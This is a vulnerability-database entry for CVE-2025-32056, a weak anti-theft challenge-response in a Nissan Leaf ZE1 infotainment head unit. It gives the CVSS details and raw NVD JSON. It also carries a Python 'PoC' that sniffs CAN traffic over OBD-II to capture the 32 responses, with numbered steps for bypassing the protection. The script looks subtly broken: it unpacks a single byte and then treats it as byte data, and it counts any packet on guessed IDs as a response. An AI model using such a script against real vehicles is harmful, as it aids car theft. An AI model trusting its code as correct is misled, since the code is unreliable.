Security Vulnerability Report
中文
CVE-2025-32056 CVSS 4.0 MEDIUM

CVE-2025-32056

Published: 2026-01-22 16:16:07
Last Modified: 2026-04-15 00:35:42

Description

The anti-theft protection mechanism can be bypassed by attackers due to weak response generation algorithms for the head unit. It is possible to reveal all 32 corresponding responses by sniffing CAN traffic or by pre-calculating the values, which allow to bypass the protection. First identified on Nissan Leaf ZE1 manufactured in 2020.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Nissan Leaf ZE1 (2020年款及之前使用相同固件的版本)
Bosch制造的车载信息娱乐系统固件 (使用弱响应生成算法的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-32056 PoC - CAN Bus Response Sniffing # This PoC demonstrates sniffing CAN traffic to capture anti-theft responses # Note: This is for educational and security research purposes only import socket import struct import time def setup_can_interface(interface='vcan0'): """Setup CAN interface for traffic sniffing""" try: sock = socket.socket(socket.PF_CAN, socket.SOCK_RAW, socket.CAN_RAW) sock.bind((interface,)) return sock except Exception as e: print(f"Error setting up CAN interface: {e}") return None def sniff_antitheft_responses(can_socket, target_ids=None): """ Sniff CAN bus for anti-theft related messages target_ids: List of relevant CAN message IDs """ if target_ids is None: # Common diagnostic CAN IDs for Nissan Leaf target_ids = [0x100, 0x200, 0x300, 0x7C0, 0x7E0] responses = {} print(f"[*] Starting CAN traffic sniffing...") print(f"[*] Monitoring for {len(target_ids)} target CAN IDs") print(f"[*] Target: Capture 32 anti-theft responses") start_time = time.time() timeout = 300 # 5 minute timeout while len(responses) < 32 and (time.time() - start_time) < timeout: try: packet = can_socket.recv(16) can_id, data = struct.unpack('<IB8x', packet) # Check if message matches target IDs if can_id in target_ids and len(data) > 0: response_value = data.hex() if response_value not in responses: responses[response_value] = can_id print(f"[+] Captured response {len(responses)}/32: ID=0x{can_id:03X}, Data={response_value}") except BlockingIOError: continue except KeyboardInterrupt: print("\n[!] Sniffing interrupted by user") break return responses def main(): print("=" * 60) print("CVE-2025-32056 PoC - Nissan Leaf Anti-Theft Bypass") print("=" * 60) # Setup CAN interface (requires root privileges) can_sock = setup_can_interface('can0') if can_sock is None: print("[!] Failed to setup CAN interface. Run with sudo.") print("[!] Example: sudo python3 cve_2025_32056_poc.py") return print("\n[*] Prerequisites:") print(" - Physical access to Nissan Leaf ZE1 (2020+)") print(" - CAN bus adapter (e.g., Peak PCAN, Kvaser)") print(" - OBD-II or direct CAN bus connection") print("\n[*] Attack scenario:") print(" 1. Connect CAN adapter to vehicle OBD-II port") print(" 2. Trigger anti-theft authentication sequence") print(" 3. Sniff CAN traffic to capture all 32 responses") print(" 4. Use captured responses to bypass protection\n") # Start sniffing responses = sniff_antitheft_responses(can_sock) if len(responses) >= 32: print("\n[+] Successfully captured all 32 responses!") print("[+] Anti-theft protection can now be bypassed") # Save responses for later use with open('captured_responses.txt', 'w') as f: for i, (response, can_id) in enumerate(responses.items(), 1): f.write(f"Response {i}: CAN_ID=0x{can_id:03X}, Data={response}\n") print("[+] Responses saved to captured_responses.txt") else: print(f"\n[!] Captured only {len(responses)}/32 responses") print("[!] Try repositioning CAN adapter or checking connections") can_sock.close() if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-32056", "sourceIdentifier": "[email protected]", "published": "2026-01-22T16:16:06.720", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The anti-theft protection mechanism can be bypassed by attackers due to weak response generation algorithms for the head unit. It is possible to reveal all 32 corresponding responses by sniffing CAN traffic or by pre-calculating the values, which allow to bypass the protection.\n\nFirst identified on Nissan Leaf ZE1 manufactured in 2020."}, {"lang": "es", "value": "El mecanismo de protección antirrobo puede ser eludido por atacantes debido a algoritmos débiles de generación de respuestas para la unidad principal. Es posible revelar las 32 respuestas correspondientes mediante la captura del tráfico CAN o precalculando los valores, lo que permite eludir la protección.\n\nIdentificado por primera vez en el Nissan Leaf ZE1 fabricado en 2020."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1241"}]}], "references": [{"url": "http://i.blackhat.com/Asia-25/Asia-25-Evdokimov-Remote-Exploitation-of-Nissan-Leaf.pdf", "source": "[email protected]"}, {"url": "https://pcacybersecurity.com/resources/advisory/vulnerabilities-in-nissan-infotainment-manufactured-by-bosch", "source": "[email protected]"}, {"url": "https://www.nissan.co.uk/vehicles/new-vehicles/leaf.html", "source": "[email protected]"}]}}